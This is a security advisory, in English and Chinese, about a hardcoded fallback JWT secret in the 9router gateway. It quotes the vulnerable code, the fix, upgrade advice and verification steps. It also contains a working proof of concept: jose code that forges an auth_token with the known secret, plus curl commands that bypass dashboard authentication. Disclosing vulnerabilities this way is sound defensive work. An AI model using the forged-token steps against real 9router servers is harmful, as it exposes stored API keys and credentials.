OSV 1.4.0 · github-reviewed · 修改于 2026-07-03 04:56
发布时间
2026-07-03 04:56
GitHub 审查时间
2026-07-03 04:56
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/07/GHSA-jphh-m39h-6gwx/GHSA-jphh-m39h-6gwx.json
9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server
| Versions | File | Note |
|---|---|---|
>= 0.2.21, <= 0.4.30 | src/app/api/auth/login/route.js + src/middleware.js | Introduced in commit 23cfb19 |
>= 0.4.31, <= 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by OIDC refactor c3d91b0, secret unchanged |
Vulnerable Code
v0.2.21 – v0.4.30 — src/app/api/auth/login/route.js and src/middleware.js:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
v0.4.31 – v0.4.41 (current) — src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.
Step 1. Craft a JWT signed with the known default secret:
import { SignJWT } from "jose";
const SECRET = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("36y")
.sign(SECRET);
console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w
Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass
/api/mcp/ (exploit CVE-2026-46339)Require JWT_SECRET at startup and fail fast rather than falling back silently:
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
throw new Error(
"JWT_SECRET environment variable is not set. " +
"Generate one with: openssl rand -hex 32"
);
}
const SECRET = new TextEncoder().encode(jwtSecret);
Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.
9router 在未配置 JWT_SECRET 时,使用公开且所有实例相同的字符串 9router-default-secret-change-me 签发和校验 Dashboard 会话 JWT。远程未认证攻击者可用该已知密钥自行签发 auth_token,绕过 Dashboard 及受 JWT 保护的 API 鉴权。漏洞类型为 CWE-798,CVSS 3.1 为 9.8。
版本说明:修复提交已经进入仓库的
v0.4.44标签历史,但 GitHub Advisory 当前对 npm 包标注的首个修复版本是0.4.45。升级处置应以官方公告为准,使用0.4.45或更高版本。
9router 是面向 AI 编程工具的自托管路由和网关,提供 Web 管理后台及 OpenAI 兼容 HTTP API。它能够保存上游模型服务的 OAuth 凭据、认证令牌和 API Key,支持本机、VPS 和容器部署;容器示例监听 0.0.0.0:20128。如果管理端口通过公网、内网转发或隧道暴露,且没有显式设置 JWT_SECRET,该问题可被远程利用。
受影响版本的 src/lib/auth/dashboardSession.js 包含:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
会话由 jose 使用 HS256 对称算法签名,正常登录生成的载荷包含 authenticated: true,有效期为 24 小时。校验函数只要能用同一密钥通过 jwtVerify 就视为有效。默认字符串存在于公开源码中且跨安装实例不变,因此不能承担密钥作用。修改登录密码不会改变 JWT 签名密钥,也不能单独消除该漏洞。
auth_token 的 HttpOnly Cookie。dashboardGuard.js 从 Cookie 读取令牌并调用 verifyDashboardAuthToken。/dashboard 根据校验结果决定放行或重定向至 /login。/api/shutdown 和 /api/settings/database 被列为始终需要 JWT 的路径;其他设置、密钥和 Provider 管理接口也接受有效 JWT。| 节点 | 提交/版本 | 说明 |
|---|---|---|
| 引入 | 23cfb19 | 在最初的认证实现中加入硬编码回退密钥 |
| 代码迁移 | c3d91b0 | OIDC 重构把逻辑迁移至共享模块,默认密钥未改变 |
| 修复前基线 | cebc72e3438dca5aad69b2828cb0d0f2e54b168d / v0.4.41 | 仍使用公开回退密钥 |
| 修复提交 | fe3ce25ae3cda48c0702c2d452e17f6ec214009d | Update JWT_SECRET handling,2026-05-15 |
| 仓库发布历史 | v0.4.44 | 标签历史已经包含修复提交 |
| 官方修复版本 | 0.4.45 | GitHub Advisory 当前的 npm first_patched_version |
受影响范围以 GitHub Advisory 为准:>= 0.2.21, <= 0.4.41。
修复提交删除公开默认值,并按以下顺序加载密钥:
JWT_SECRET 时直接使用环境变量。$DATA_DIR/jwt-secret。crypto.randomBytes(32) 生成 32 字节随机值并转为十六进制。$DATA_DIR/jwt-secret,文件权限设为 0600。同一提交还把 /api/translator 加入受保护 API 路径;这是同批鉴权加固。硬编码密钥问题的核心修复是为每个实例生成并持久化独立随机密钥。
成功利用后,攻击者可进入管理后台并调用接受 Dashboard JWT 的管理接口。结合项目功能,可能造成上游 Provider 的 API Key、OAuth 令牌及其他认证信息泄露,设置和登录密码被修改,以及服务被关闭。实际影响取决于实例的网络暴露情况和其中保存的凭据。
0.4.45 或更高版本,不把 0.4.44 作为官方安全基线。JWT_SECRET;需要共享密钥时通过密钥管理系统分发。DATA_DIR,确认 jwt-secret 不会随重启反复生成。只在自己拥有或明确获准测试的 9router 实例上执行。以下步骤只访问本机 Dashboard,用于证明鉴权绕过,不读取或修改密钥、令牌及配置。
v0.4.41,对应提交 cebc72e3438dca5aad69b2828cb0d0f2e54b168d。JWT_SECRET。http://127.0.0.1:20128。jose。curl -sS -o /dev/null -D - http://127.0.0.1:20128/dashboard
预期返回重定向,Location 指向 /login。
在受影响版本的项目目录执行:
node --input-type=module <<'NODE'
import { SignJWT } from "jose";
const secret = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256", typ: "JWT" })
.setIssuedAt()
.setExpirationTime("10m")
.sign(secret);
console.log(token);
NODE
复制输出令牌。有效期限制为 10 分钟,只用于本地验证。
curl -sS -o /dev/null -D - \
--cookie "auth_token=<上一步输出的令牌>" \
http://127.0.0.1:20128/dashboard
受影响版本会将令牌视为有效,不再重定向到 /login,证明无需密码即可绕过 Dashboard 鉴权。不要继续访问 /api/settings/database 等保存敏感信息的接口。
升级到 0.4.45 或更高版本,清除测试浏览器中的 auth_token 并重启服务,再重复以上步骤。预期:
/login。JWT_SECRET 时,服务在 $DATA_DIR/jwt-secret 生成实例独有的随机密钥。600:stat -c '%a %n' "$DATA_DIR/jwt-secret"
未显式设置 DATA_DIR 时默认目录通常为 ~/.9router。容器中应将该目录挂载到持久化存储。